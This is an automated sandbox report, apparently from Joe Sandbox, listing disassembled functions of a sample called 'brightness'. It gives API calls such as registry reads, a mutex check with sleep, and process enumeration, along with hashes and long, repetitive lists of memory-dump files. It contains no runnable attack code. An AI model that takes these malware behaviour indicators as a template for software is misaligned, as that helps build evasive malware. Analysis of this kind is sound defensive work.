Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: std::exception::exception
String ID: Ea-$bad allocation
API String ID: 2807920213-2100558845
Opcode ID: c208a3e5f154ffa1fdd5fea692741e0299ef24473dbe2cc66079acfdaeef5794
Instruction ID: c41967fbc2704555d2b9af027db2d310bfea39da0b8ed956950b524df64091d1
Opcode Fuzzy Hash: c208a3e5f154ffa1fdd5fea692741e0299ef24473dbe2cc66079acfdaeef5794
Instruction Fuzzy Hash: 88F02D755B028D6BCF00FF56EC4396DB7E9AB01354FD00025FA2996195DFB09A30CA51

Function 002D645E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_wcscat.LIBCMT ref: 002D64A2
__snwprintf.LIBCMT ref: 002D64E4
_wcscat.LIBCMT ref: 002D64FA
LocalFree.KERNEL32(00000000), ref: 002D685F

Strings

'%s', xrefs: 002D64D3

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: _wcscat$FreeLocal__snwprintf
String ID: '%s'
API String ID: 3523142645-2201965518
Opcode ID: 0d7a77a8918e2292e750530faf45510b2877efb349efee2a348064fa5dbf7345
Instruction ID: c829d38df775f8672bedcfba343af8b14c6b9f1154d4c5a30e269292e6d3626d
Opcode Fuzzy Hash: 0d7a77a8918e2292e750530faf45510b2877efb349efee2a348064fa5dbf7345
Instruction Fuzzy Hash: 6911397096011CEBDB24DB40CC8DBEDB775AB60308F608299E1096B295D7B0AFE4DF90

Function 002C4700 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31registryCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 002C471F
RegGetValueW.ADVAPI32(80000001,?,{D4C13668-5BB2-45CB-BED4-3819586C0538},00000008,00000000,?,?), ref: 002C4750

Strings

SOFTWARE\%s, xrefs: 002C470E
{D4C13668-5BB2-45CB-BED4-3819586C0538}, xrefs: 002C4709, 002C473F

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Value__snwprintf
String ID: SOFTWARE\%s${D4C13668-5BB2-45CB-BED4-3819586C0538}
API String ID: 3635966236-2821402801
Opcode ID: 851416a266eb30bca2e32b37b645e73f95c794318fa4d4b69820f430088c81ba
Instruction ID: 87db13753d9ac8525d7b73fd9874028530e3f95cac667f5120c2987b412f1e08
Opcode Fuzzy Hash: 851416a266eb30bca2e32b37b645e73f95c794318fa4d4b69820f430088c81ba
Instruction Fuzzy Hash: F4F0AE31A50708EBD710EA95DC4AFE6F368DB44B01F404299BE09A6180F6F099544B94

Function 002D01B5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}), ref: 002D0190
CloseHandle.KERNEL32(00000000), ref: 002D01A3
Sleep.KERNEL32(00000064), ref: 002D01AB

Strings

{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}, xrefs: 002D0184

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseHandleMutexOpenSleep
String ID: {90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}
API String ID: 2969294566-2750777359
Opcode ID: 454a3bc7953bac93b30eff3c0217a9a374602d73cd522c193a2b54384f5e4293
Instruction ID: 1e046d1967ed4651a22bc0c6de37fe87fd04c1b199dc96f28349774928563731
Opcode Fuzzy Hash: 454a3bc7953bac93b30eff3c0217a9a374602d73cd522c193a2b54384f5e4293
Instruction Fuzzy Hash: C0E08C30A20302DBE715DFA0CE89BAD7A34AB44341F200126B106B53E0C7F4DE10CB62

Function 002D7D60 Relevance: 6.2, APIs: 4, Instructions: 176COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002D7DB7

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: c0b441d459db9c53c349b08eaab3e87c30b06887aed197f4d74005b4e9167578
Instruction ID: cab9c3ff564efb92ca07bf6129b7b76a655ca2d9cf013d00250b8770b7b2839b
Opcode Fuzzy Hash: c0b441d459db9c53c349b08eaab3e87c30b06887aed197f4d74005b4e9167578
Instruction Fuzzy Hash: C071FD70A1510ADFCF14CF98D881AAEB7B2FF48304F14855AE505A7341D774AE61DBA4

Function 002C2754 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002C27B1

Part of subcall function 002C1C60: _wcsrchr.LIBCMT ref: 002C1C6C

StrCatW.SHLWAPI(00000000,002F2714), ref: 002C2863
StrCatW.SHLWAPI(00000000,?), ref: 002C2874

Part of subcall function 002C2A80: construct.LIBCPMTD ref: 002C2B09

Process32NextW.KERNEL32(00000000,0000022C), ref: 002C28D6
CloseHandle.KERNEL32(00000000), ref: 002C28E8
LocalFree.KERNEL32(00000000), ref: 002C28F8

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocalNextProcess32_memset_wcsrchrconstruct
String ID:
API String ID: 2655676301-0
Opcode ID: 0ebc00655a69366cd5797c12c890519b83fa7aa61707a30a541e20e10f3a4bc1
Instruction ID: f1b3c91a99a9e0f01f1ec6541fcb75a00e2576f9485a89186d6b08a5332867ca
Opcode Fuzzy Hash: 0ebc00655a69366cd5797c12c890519b83fa7aa61707a30a541e20e10f3a4bc1
Instruction Fuzzy Hash: FA413DB1D14218DBDB24DF64CC88BDEB779AF58304F10469CE10AB7250EB759A98CF64

Function 002EF653 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 002EF679

Part of subcall function 002EF4A5: __fltout2.LIBCMT ref: 002EF4D0

__cftog_l.LIBCMT ref: 002EF69F
__cftoe_l.LIBCMT ref: 002EF6D1

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
